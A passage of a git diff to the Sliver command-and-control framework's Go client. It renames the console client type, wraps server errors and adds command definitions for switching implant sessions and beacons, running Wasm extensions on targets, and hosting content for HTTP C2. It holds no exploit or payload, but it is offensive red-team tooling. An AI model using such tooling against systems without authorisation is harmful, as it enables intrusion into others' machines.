DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "ID", "Name", @@ -83,8 +86,8 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console con.Println(tw.Render()) } -// TrafficEncodersAddCmd - Add a new traffic encoder to the server -func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TrafficEncodersAddCmd - Add a new traffic encoder to the server. +func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() @@ -117,7 +120,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, <-completed close(completed) if err != nil { - con.PrintErrorf("Failed to add traffic encoder %s", err) + con.PrintErrorf("Failed to add traffic encoder %s", con.UnwrapServerErr(err)) con.Println() return } @@ -138,7 +141,7 @@ func TrafficEncodersAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, con.PrintInfof("Successfully added traffic encoder: %s\n", trafficEncoder.Wasm.Name) } -// saveFailedSample - Save the sample the encoder failed to properly encode/decode +// saveFailedSample - Save the sample the encoder failed to properly encode/decode. func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) { confirm := false prompt := &survey.Confirm{ @@ -156,7 +159,7 @@ func saveFailedSample(encoderName string, test *clientpb.TrafficEncoderTest) { } } -// allTestsPassed - Check if all tests passed +// allTestsPassed - Check if all tests passed. func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool { for _, test := range tests.Tests { if !test.Success { @@ -166,8 +169,8 @@ func allTestsPassed(tests *clientpb.TrafficEncoderTests) bool { return true } -// displayTrafficEncoderTests - Display traffic encoder tests in real time -func displayTrafficEncoderTestProgress(testID string, completed chan interface{}, con *console.SliverConsoleClient) { +// displayTrafficEncoderTests - Display traffic encoder tests in real time. +func displayTrafficEncoderTestProgress(testID string, completed chan interface{}, con *console.SliverClient) { listenerID, events := con.CreateEventListener() defer con.RemoveEventListener(listenerID) lineCount := 0 @@ -191,18 +194,19 @@ func displayTrafficEncoderTestProgress(testID string, completed chan interface{} } } -// clearLines - Clear a number of lines from the console -func clearLines(count int, con *console.SliverConsoleClient) { +// clearLines - Clear a number of lines from the console. +func clearLines(count int, con *console.SliverClient) { for i := 0; i < count; i++ { con.Printf(console.Clearln + "\r") con.Printf(console.UpN, 1) } } -// displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written -func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverConsoleClient) int { +// displayTrafficEncoderTests - Display the results of traffic encoder tests, return number of lines written. +func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTests, con *console.SliverClient) int { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.AppendHeader(table.Row{ "Test", "Result", @@ -245,16 +249,31 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest return lineCount } -// TrafficEncodersRemoveCmd - Remove a traffic encoder -func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { - _, cancel := con.GrpcContext(cmd) - defer cancel() - +// TrafficEncodersRemoveCmd - Remove a traffic encoder. +func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var name string if len(args) > 0 { - name = args[0] - } - if name == "" { + for _, name := range args { + if name == "" { + continue + } + + grpcCtx, cancel := con.GrpcContext(cmd) + _, err := con.Rpc.TrafficEncoderRm(grpcCtx, &clientpb.TrafficEncoder{ + Wasm: &commonpb.File{ + Name: name, + }, + }) + cancel() + + if err != nil { + con.PrintErrorf("%s", con.UnwrapServerErr(err)) + continue + } + + con.PrintInfof("Successfully removed traffic encoder: %s\n", name) + } + } else { name = SelectTrafficEncoder(con) } grpcCtx, cancel := con.GrpcContext(cmd) @@ -265,20 +284,19 @@ func TrafficEncodersRemoveCmd(cmd *cobra.Command, con *console.SliverConsoleClie }, }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } - con.Println() con.PrintInfof("Successfully removed traffic encoder: %s\n", name) } -// SelectTrafficEncoder - Select a traffic encoder from a list -func SelectTrafficEncoder(con *console.SliverConsoleClient) string { +// SelectTrafficEncoder - Select a traffic encoder from a list. +func SelectTrafficEncoder(con *console.SliverClient) string { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() encoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return "" } var encoderNames []string @@ -294,3 +312,33 @@ func SelectTrafficEncoder(con *console.SliverConsoleClient) string { survey.AskOne(prompt, &selectedEncoder) return selectedEncoder } + +// TrafficEncoderCompleter - Completes the names of traffic encoders. +func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.PreRunComplete(); err != nil { + return msg + } + + grpcCtx, cancel := con.GrpcContext(nil) + defer cancel() + trafficEncoders, err := con.Rpc.TrafficEncoderMap(grpcCtx, &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch traffic encoders: %s", con.UnwrapServerErr(err)) + } + + results := []string{} + for _, encoder := range trafficEncoders.Encoders { + results = append(results, encoder.Wasm.Name) + skipTests := "" + if encoder.SkipTests { + skipTests = "[skip-tests]" + } + desc := fmt.Sprintf("(Wasm: %s) %s", encoder.Wasm.Name, skipTests) + results = append(results, desc) + } + + return carapace.ActionValuesDescribed(results...).Tag("traffic encoders"). + Invoke(c).Filter(c.Args).ToA() + }).Cache(completers.CacheCompilerInfo) +} diff --git a/client/command/update/commands.go b/client/command/update/commands.go new file mode 100644 index 0000000000..3725ea4564 --- /dev/null +++ b/client/command/update/commands.go @@ -0,0 +1,51 @@ +package update + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + updateCmd := &cobra.Command{ + Use: consts.UpdateStr, + Short: "Check for updates", + Long: help.GetHelpFor([]string{consts.UpdateStr}), + Run: func(cmd *cobra.Command, args []string) { + UpdateCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("update", false, updateCmd, func(f *pflag.FlagSet) { + f.BoolP("prereleases", "P", false, "include pre-released (unstable) versions") + f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)") + f.StringP("save", "s", "", "save downloaded files to specific directory (default user home dir)") + f.BoolP("insecure", "I", false, "skip tls certificate validation") + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(updateCmd, func(comp *carapace.ActionMap) { + (*comp)["proxy"] = completers.LocalProxyCompleter() + }) + + versionCmd := &cobra.Command{ + Use: consts.VersionStr, + Short: "Display version information", + Long: help.GetHelpFor([]string{consts.VersionStr}), + Run: func(cmd *cobra.Command, args []string) { + VerboseVersionsCmd(cmd, con, args) + }, + GroupID: consts.GenericHelpGroup, + } + flags.Bind("update", false, versionCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{updateCmd, versionCmd} +} diff --git a/client/command/update/update.go b/client/command/update/update.go index 06b6596b1e..2beecbaffc 100644 --- a/client/command/update/update.go +++ b/client/command/update/update.go @@ -47,8 +47,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// UpdateCmd - Check for updates -func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UpdateCmd - Check for updates. +func UpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { VerboseVersionsCmd(cmd, con, args) timeoutF, _ := cmd.Flags().GetInt("timeout") @@ -126,12 +126,12 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri } } -// VerboseVersionsCmd - Get verbose version information about the client and server -func VerboseVersionsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// VerboseVersionsCmd - Get verbose version information about the client and server. +func VerboseVersionsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { clientVer := version.FullVersion() serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { - con.PrintErrorf("Failed to check server version %s\n", err) + con.PrintErrorf("Failed to check server version %s\n", con.UnwrapServerErr(err)) return } @@ -219,7 +219,7 @@ func clientAssetForGOOS(assets []version.Asset) *version.Asset { return findAssetFor(prefix, suffixes, assets) } -func updateAvailable(con *console.SliverConsoleClient, client *http.Client, release *version.Release, saveTo string) { +func updateAvailable(con *console.SliverClient, client *http.Client, release *version.Release, saveTo string) { serverAsset := serverAssetForGOOS(release.Assets) clientAsset := clientAssetForGOOS(release.Assets) diff --git a/client/command/use/beacons.go b/client/command/use/beacons.go index 17a3835642..9d70c22440 100644 --- a/client/command/use/beacons.go +++ b/client/command/use/beacons.go @@ -25,8 +25,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// UseBeaconCmd - Change the active beacon -func UseBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UseBeaconCmd - Change the active beacon. +func UseBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { beacon, err := beacons.SelectBeacon(con) if beacon != nil { con.ActiveTarget.Set(nil, beacon) diff --git a/client/command/use/commands.go b/client/command/use/commands.go new file mode 100644 index 0000000000..b3ce01184f --- /dev/null +++ b/client/command/use/commands.go @@ -0,0 +1,58 @@ +package use + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/beacons" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/sessions" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + useCmd := &cobra.Command{ + Use: consts.UseStr, + Short: "Switch the active session or beacon", + Long: help.GetHelpFor([]string{consts.UseStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + UseCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + flags.Bind("use", true, useCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(useCmd).PositionalCompletion(BeaconAndSessionIDCompleter(con)) + + useSessionCmd := &cobra.Command{ + Use: consts.SessionsStr, + Short: "Switch the active session", + Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + UseSessionCmd(cmd, con, args) + }, + } + carapace.Gen(useSessionCmd).PositionalCompletion(sessions.SessionIDCompleter(con)) + useCmd.AddCommand(useSessionCmd) + + useBeaconCmd := &cobra.Command{ + Use: consts.BeaconsStr, + Short: "Switch the active beacon", + Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + UseBeaconCmd(cmd, con, args) + }, + } + carapace.Gen(useBeaconCmd).PositionalCompletion(beacons.BeaconIDCompleter(con)) + useCmd.AddCommand(useBeaconCmd) + + return []*cobra.Command{useCmd} +} diff --git a/client/command/use/sessions.go b/client/command/use/sessions.go index 2b81ba13f7..cc360b1dd2 100644 --- a/client/command/use/sessions.go +++ b/client/command/use/sessions.go @@ -25,8 +25,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// UseSessionCmd - Change the active session -func UseSessionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UseSessionCmd - Change the active session. +func UseSessionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, err := sessions.SelectSession(false, con) if session != nil { con.ActiveTarget.Set(session, nil) diff --git a/client/command/use/use.go b/client/command/use/use.go index 14b1f6e2b4..ef96458fe0 100644 --- a/client/command/use/use.go +++ b/client/command/use/use.go @@ -31,6 +31,8 @@ import ( "github.com/rsteube/carapace" "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/command/beacons" + "github.com/bishopfox/sliver/client/command/sessions" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -38,8 +40,8 @@ import ( var ErrNoSelection = errors.New("no selection") -// UseCmd - Change the active session -func UseCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// UseCmd - Change the active session. +func UseCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var session *clientpb.Session var beacon *clientpb.Beacon var err error @@ -68,11 +70,11 @@ func UseCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) } } -// SessionOrBeaconByID - Select a session or beacon by ID -func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) { +// SessionOrBeaconByID - Select a session or beacon by ID. +func SessionOrBeaconByID(id string, con *console.SliverClient) (*clientpb.Session, *clientpb.Beacon, error) { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } if err == nil { for _, session := range sessions.Sessions { @@ -83,7 +85,7 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb } beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } for _, beacon := range beacons.Beacons { if strings.HasPrefix(beacon.ID, id) { @@ -93,12 +95,12 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb return nil, nil, fmt.Errorf("no session or beacon found with ID %s", id) } -// SelectSessionOrBeacon - Select a session or beacon -func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, *clientpb.Beacon, error) { +// SelectSessionOrBeacon - Select a session or beacon. +func SelectSessionOrBeacon(con *console.SliverClient) (*clientpb.Session, *clientpb.Beacon, error) { // Get and sort sessions sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } sessionsMap := map[string]*clientpb.Session{} for _, session := range sessions.GetSessions() { @@ -113,7 +115,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, // Get and sort beacons beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) if err != nil { - return nil, nil, err + return nil, nil, con.UnwrapServerErr(err) } beaconsMap := map[string]*clientpb.Beacon{} for _, beacon := range beacons.Beacons { @@ -181,62 +183,16 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session, return nil, nil, nil } -// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids -func BeaconAndSessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { +// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids. +func BeaconAndSessionIDCompleter(con *console.SliverClient) carapace.Action { comps := func(ctx carapace.Context) carapace.Action { var action carapace.Action return action.Invoke(ctx).Merge( - SessionIDCompleter(con).Invoke(ctx), - BeaconIDCompleter(con).Invoke(ctx), + sessions.SessionIDCompleter(con).Invoke(ctx), + beacons.BeaconIDCompleter(con).Invoke(ctx), ).ToA() } return carapace.ActionCallback(comps) } - -// SessionIDCompleter completes session IDs -func SessionIDCompleter(con *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { - results := make([]string, 0) - - sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) - if err == nil { - for _, s := range sessions.Sessions { - link := fmt.Sprintf("[%s <- %s]", s.ActiveC2, s.RemoteAddress) - id := fmt.Sprintf("%s (%d)", s.Name, s.PID) - userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname) - desc := strings.Join([]string{id, userHost, link}, " ") - - results = append(results, s.ID[:8]) - results = append(results, desc) - } - } - return carapace.ActionValuesDescribed(results...).Tag("sessions") - } - - return carapace.ActionCallback(callback) -} - -// BeaconIDCompleter completes beacon IDs -func BeaconIDCompleter(con *console.SliverConsoleClient) carapace.Action { - callback := func(_ carapace.Context) carapace.Action { - results := make([]string, 0) - - beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{}) - if err == nil { - for _, b := range beacons.Beacons { - link := fmt.Sprintf("[%s <- %s]", b.ActiveC2, b.RemoteAddress) - id := fmt.Sprintf("%s (%d)", b.Name, b.PID) - userHost := fmt.Sprintf("%s@%s", b.Username, b.Hostname) - desc := strings.Join([]string{id, userHost, link}, " ") - - results = append(results, b.ID[:8]) - results = append(results, desc) - } - } - return carapace.ActionValuesDescribed(results...).Tag("beacons") - } - - return carapace.ActionCallback(callback) -} diff --git a/client/command/wasm/commands.go b/client/command/wasm/commands.go new file mode 100644 index 0000000000..1b4eb4da29 --- /dev/null +++ b/client/command/wasm/commands.go @@ -0,0 +1,55 @@ +package wasm + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + wasmCmd := &cobra.Command{ + Use: consts.WasmStr, + Short: "Execute a Wasm Module Extension", + Long: help.GetHelpFor([]string{consts.WasmStr}), + GroupID: consts.ExecutionHelpGroup, + Run: func(cmd *cobra.Command, args []string) { + WasmCmd(cmd, con, args) + }, + } + flags.Bind("", true, wasmCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + flags.Bind("", false, wasmCmd, func(f *pflag.FlagSet) { + f.BoolP("pipe", "P", false, "pipe module stdin/stdout/stderr to the current terminal (session only)") + f.StringP("file", "f", "", "include local file(s) in wasm module's /memfs (glob pattern) ") + f.StringP("dir", "d", "", "recursively include local directory in wasm module's /memfs (glob pattern)") + f.BoolP("skip-registration", "s", false, "assume the extension is already registered") + f.BoolP("loot", "X", false, "save output as loot, incompatible with --pipe") + }) + completers.NewFlagCompsFor(wasmCmd, func(comp *carapace.ActionMap) { + (*comp)["file"] = carapace.ActionFiles() + (*comp)["dir"] = carapace.ActionDirectories() + }) + wasmComp := carapace.Gen(wasmCmd) + wasmComp.PositionalCompletion(carapace.ActionFiles().Usage("wasm/wasi module file (.wasm)")) + wasmComp.PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the wasm module (optional)")) + + wasmLsCmd := &cobra.Command{ + Use: consts.LsStr, + Short: "List registered wasm extensions with current session/beacon", + Long: help.GetHelpFor([]string{consts.WasmStr, consts.LsStr}), + Run: func(cmd *cobra.Command, args []string) { + WasmLsCmd(cmd, con, args) + }, + } + wasmCmd.AddCommand(wasmLsCmd) + + return []*cobra.Command{wasmCmd} +} diff --git a/client/command/wasm/memfs.go b/client/command/wasm/memfs.go index 32fc448400..5cd06883ff 100644 --- a/client/command/wasm/memfs.go +++ b/client/command/wasm/memfs.go @@ -5,12 +5,13 @@ import ( "os" "path/filepath" + "github.com/spf13/cobra" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/util" - "github.com/spf13/cobra" ) -func parseMemFS(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) (map[string][]byte, error) { +func parseMemFS(cmd *cobra.Command, con *console.SliverClient, args []string) (map[string][]byte, error) { memfs := make(map[string][]byte) totalSize := 0 diff --git a/client/command/wasm/wasm.go b/client/command/wasm/wasm.go index 3abb990aa4..93c4c9e3b1 100644 --- a/client/command/wasm/wasm.go +++ b/client/command/wasm/wasm.go @@ -25,28 +25,29 @@ import ( "os" "path/filepath" + "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/core" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" "github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util/encoders" - "github.com/spf13/cobra" - "google.golang.org/protobuf/proto" ) // wasmMaxModuleSize - Arbitrary 1.5Gb limit to put us well under the 2Gb max gRPC message size -// this is also the *compressed size* limit, so it's pretty generous +// this is also the *compressed size* limit, so it's pretty generous. const ( gb = 1024 * 1024 * 1024 wasmMaxModuleSize = gb + (gb / 2) ) -// WasmCmd - session/beacon id -> list of loaded wasm extension names +// WasmCmd - session/beacon id -> list of loaded wasm extension names. var wasmRegistrationCache = make(map[string][]string) -// WasmCmd - Execute a WASM module extension -func WasmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WasmCmd - Execute a WASM module extension. +func WasmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -95,7 +96,7 @@ func WasmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string } } -func isRegistered(name string, cmd *cobra.Command, con *console.SliverConsoleClient) bool { +func isRegistered(name string, cmd *cobra.Command, con *console.SliverClient) bool { // Check if we have already registered this wasm module if wasmRegistrationCache[idOf(con)] != nil { if util.Contains(wasmRegistrationCache[idOf(con)], name) { @@ -120,8 +121,8 @@ func isRegistered(name string, cmd *cobra.Command, con *console.SliverConsoleCli return false } -// idOf - Quickly return the id of the current session or beacon -func idOf(con *console.SliverConsoleClient) string { +// idOf - Quickly return the id of the current session or beacon. +func idOf(con *console.SliverClient) string { if con.ActiveTarget != nil { if session := con.ActiveTarget.GetSession(); session != nil { return session.ID @@ -133,16 +134,16 @@ func idOf(con *console.SliverConsoleClient) string { return "" } -func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverConsoleClient) { +func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverClient) { grpcCtx, cancel := con.GrpcContext(nil) defer cancel() execWasmResp, err := con.Rpc.ExecWasmExtension(grpcCtx, execWasmReq) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if execWasmResp.Response != nil && execWasmResp.Response.Async { - con.AddBeaconCallback(execWasmResp.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(execWasmResp.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, execWasmResp) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -159,7 +160,7 @@ func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console. } } -func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverConsoleClient) { +func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverClient) { session := con.ActiveTarget.GetSession() if session == nil { con.PrintErrorf("No active session\n") @@ -176,7 +177,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR }) defer cancelTunnel() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } con.PrintInfof("Wait approximately 10 seconds after exit, and press to continue\n") @@ -190,7 +191,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR // Send the exec request wasmExt, err := con.Rpc.ExecWasmExtension(context.Background(), execWasmReq) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if wasmExt.Response != nil && wasmExt.Response.Err != "" { @@ -200,7 +201,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR SessionID: session.ID, }) if err != nil { - con.PrintErrorf("RPC Error: %s\n", err) + con.PrintErrorf("RPC Error: %s\n", con.UnwrapServerErr(err)) } return } @@ -227,7 +228,7 @@ func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionR } } -func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console.SliverConsoleClient) error { +func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console.SliverClient) error { grpcCtx, cancel := con.GrpcContext(cmd) defer cancel() data, err := os.ReadFile(wasmFilePath) @@ -247,14 +248,14 @@ func registerWasmExtension(wasmFilePath string, cmd *cobra.Command, con *console WasmGz: data, }) if err != nil { - return err + return con.UnwrapServerErr(err) } wasmRegistrationCache[idOf(con)] = append(wasmRegistrationCache[idOf(con)], filepath.Base(wasmFilePath)) return nil } -// WasmLsCmd - Execute a WASM module extension -func WasmLsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// WasmLsCmd - Execute a WASM module extension. +func WasmLsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -266,7 +267,7 @@ func WasmLsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s", err) + con.PrintErrorf("%s", con.UnwrapServerErr(err)) return } if len(loaded.Names) < 1 { diff --git a/client/command/websites/commands.go b/client/command/websites/commands.go new file mode 100644 index 0000000000..840edb31f7 --- /dev/null +++ b/client/command/websites/commands.go @@ -0,0 +1,108 @@ +package websites + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + websitesCmd := &cobra.Command{ + Use: consts.WebsitesStr, + Short: "Host static content (used with HTTP C2)", + Long: help.GetHelpFor([]string{consts.WebsitesStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesCmd(cmd, con, args) + }, + GroupID: consts.NetworkHelpGroup, + } + flags.Bind("websites", true, websitesCmd, func(f *pflag.FlagSet) { + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + carapace.Gen(websitesCmd).PositionalCompletion(WebsiteNameCompleter(con)) + + // General websites management + websitesRmCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove an entire website and all of its contents", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsiteRmCmd(cmd, con, args) + }, + } + carapace.Gen(websitesRmCmd).PositionalCompletion(WebsiteNameCompleter(con)) + websitesCmd.AddCommand(websitesRmCmd) + + // Content management + contentCmd := &cobra.Command{ + Use: consts.ContentStr, + Short: "Manage wesite contents", + } + websitesCmd.AddCommand(contentCmd) + + websitesRmWebContentCmd := &cobra.Command{ + Use: consts.RmStr, + Short: "Remove specific content from a website", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.RmStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesRmContent(cmd, con, args) + }, + } + flags.Bind("websites", false, websitesRmWebContentCmd, func(f *pflag.FlagSet) { + f.BoolP("recursive", "r", false, "recursively add/rm content") + f.StringP("website", "w", "", "website name") + f.StringP("web-path", "p", "", "http path to host file at") + }) + contentCmd.AddCommand(websitesRmWebContentCmd) + completers.NewFlagCompsFor(websitesRmWebContentCmd, func(comp *carapace.ActionMap) { + (*comp)["website"] = WebsiteNameCompleter(con) + }) + + websitesContentCmd := &cobra.Command{ + Use: consts.AddStr, + Short: "Add content to a website", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.AddStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + WebsitesAddContentCmd(cmd, con, args) + }, + } + contentCmd.AddCommand(websitesContentCmd) + flags.Bind("websites", false, websitesContentCmd, func(f *pflag.FlagSet) { + f.StringP("website", "w", "", "website name") + f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") + f.StringP("web-path", "p", "/", "http path to host file at") + f.BoolP("recursive", "r", false, "recursively add/rm content") + }) + completers.NewFlagCompsFor(websitesContentCmd, func(comp *carapace.ActionMap) { + (*comp)["website"] = WebsiteNameCompleter(con) + }) + carapace.Gen(websitesContentCmd).PositionalCompletion(carapace.ActionFiles()) + + websitesContentTypeCmd := &cobra.Command{ + Use: consts.TypeStr, + Short: "Update a path's content-type", + Long: help.GetHelpFor([]string{consts.WebsitesStr, consts.TypeStr}), + Run: func(cmd *cobra.Command, args []string) { + WebsitesUpdateContentCmd(cmd, con, args) + }, + } + flags.Bind("websites", false, websitesContentTypeCmd, func(f *pflag.FlagSet) { + f.StringP("website", "w", "", "website name") + f.StringP("content-type", "m", "", "mime content-type (if blank use file ext.)") + f.StringP("web-path", "p", "/", "http path to host file at") + }) + contentCmd.AddCommand(websitesContentTypeCmd) + 